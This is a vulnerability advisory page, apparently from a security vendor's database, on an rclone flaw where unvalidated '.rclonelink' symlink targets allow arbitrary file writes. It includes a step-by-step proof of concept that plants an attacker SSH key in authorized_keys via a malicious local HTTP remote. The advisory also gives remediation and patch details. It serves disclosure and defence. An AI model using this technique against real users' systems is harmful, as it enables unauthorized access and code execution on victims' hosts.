Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remoteGHSA-cf44-9pgv-m4xc

HIGHFix: rclone/rclone@1154afe

GHSA-cf44-9pgv-m4xc is a high-severity (CVSS 7.5) CWE-59 vulnerability in github.com/rclone/rclone. A fix is available for github.com/rclone/rclone — see the affected versions and patch details below.

Also known asBIT-rclone-2026-54572CVE-2026-54572GO-2026-6191
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-cf44-9pgv-m4xc.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk
0.00%0.30%0.60%0.90%0.3%0.4%0.4%0.4%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-cf44-9pgv-m4xc by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/rclone/rclone

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

With -l/--links, rclone serializes symlinks as <name>.rclonelink text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with os.Symlink(<object body>, <dest path>) and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or ../ path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named <name>.rclonelink sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object "inside" it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorized_keys, ~/.bashrc, or a crontab — i.e. code execution.

Details

backend/local/local.go, Object.Update():

} else {
    out = nopWriterCloser{&symlinkData}          // body of <name>.rclonelink = attacker data
}
...
if o.translatedLink {
    if err == nil {
        if _, err := os.Lstat(o.path); err == nil {
            os.Remove(o.path)
        }
        // Use the contents for the copied object to create a symlink
        err = os.Symlink(symlinkData.String(), o.path)   // <-- target NEVER validated (abs / .. allowed)
    }
}

symlinkData is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll() → file.MkdirAll, then file.OpenFile(..., O_CREATE)) follows existing symlink components with no O_NOFOLLOW, so a file written under the planted symlinked directory escapes the destination.

PoC

  1. Get the official stable binary:
curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip
unzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d .      # ./rclone -> v1.74.3
  1. Create an attacker-controlled "remote" (two objects) and a victim layout:
mkdir -p evil/pwn dest victimhome/.ssh
printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink              # body = abs path OUTSIDE dest
printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys
ls -l victimhome/.ssh                                                 # empty (before)
  1. Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):
cd evil && python3 -m http.server 38080 --bind 127.0.0.1
  1. VICTIM ACTION — back up the untrusted remote preserving symlinks:
./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v
  1. Observe — a file landed OUTSIDE ./dest:
ls -l dest/pwn                       # dest/pwn -> .../victimhome/.ssh   (symlink escapes dest)
cat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   <-- written outside dest

pwn.rclonelink sorts before pwn/authorized_keys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorized_keys, ~/.bashrc, or a crontab → code execution.

Impact

An attacker who controls the contents of any remote a victim syncs with -l/--links gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorized_keys, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).

Remediation

In Object.Update() reject symlink targets that are absolute or escape the destination root before calling os.Symlink (resolve filepath.Join(dir, target) and require it to stay within the configured root, or refuse absolute/.. targets), and write objects with O_NOFOLLOW on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a .rclonelink with target /tmp/... and a sibling file, asserting nothing is written outside the destination.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/rclone/rcloneall versions1.74.4go get github.com/rclone/rclone@v1.74.4

Affected Products

1 product · 1 configurations
Application
rclonerclone
< 1.74.4
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/rclone/rclone, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/rclone/rclone to 1.74.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cf44-9pgv-m4xc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

Rclone's -l/--links option serializes symbolic links encountered during a sync as `.rclonelink` text objects containing the link target, and later recreates those links on the destination. Prior to 1.74.4, rclone did not validate that a stored link target stays within the intended destination tree before recreating…

Workaround published by Red Hat
Upgrade to rclone 1.74.4 or later, which validates symlink targets before recreating them and rejects links that would escape the destination directory. If an immediate upgrade is not possible, mitigate by avoiding the vulnerable code path: do not use the -l/--links command-line option when syncing to or from a remote that is not fully trusted, since this is what enables rclone to serialize and recreate symlinks in the first place.
Source: Red Hat security advisory for GHSA-cf44-9pgv-m4xc (CC BY 4.0)

Frequently Asked Questions

### Summary With `-l/--links`, rclone serializes symlinks as `<name>.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(<object body>, <dest path>)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named `<name>.rclonelink` sorts before `<name>/...`, rclone creates the escaping sym
O3 Security · Impact-Aware SCA

Is GHSA-cf44-9pgv-m4xc in your dependencies?

Find it across Go, including transitive dependencies.

rclone: Unvalidated symlink target in local `--links` —…